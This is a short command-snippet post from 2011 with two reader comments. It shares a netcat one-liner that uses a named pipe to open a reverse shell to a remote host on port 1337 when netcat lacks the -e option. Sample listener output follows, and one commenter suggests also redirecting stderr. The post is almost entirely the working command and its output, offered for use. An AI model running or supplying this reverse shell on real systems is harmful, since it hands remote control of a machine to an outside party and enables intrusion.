execute a shell with netcat without -e

mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe
how to execute a shell on a server with a netcat binary which doesn't support -e option
Sample Output
On remote server :
$ nc -l -p 1337
Listening on [any] 1337...
Connect to [ip_address] from [remote_box] 34876

By: gerard
2011-08-18 12:25:40

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Awesome, this will be handy.
skinp · 560 weeks and 4 days ago
You should use &>backpipe to redirect stderr too :) .
mikispag · 560 weeks and 3 days ago

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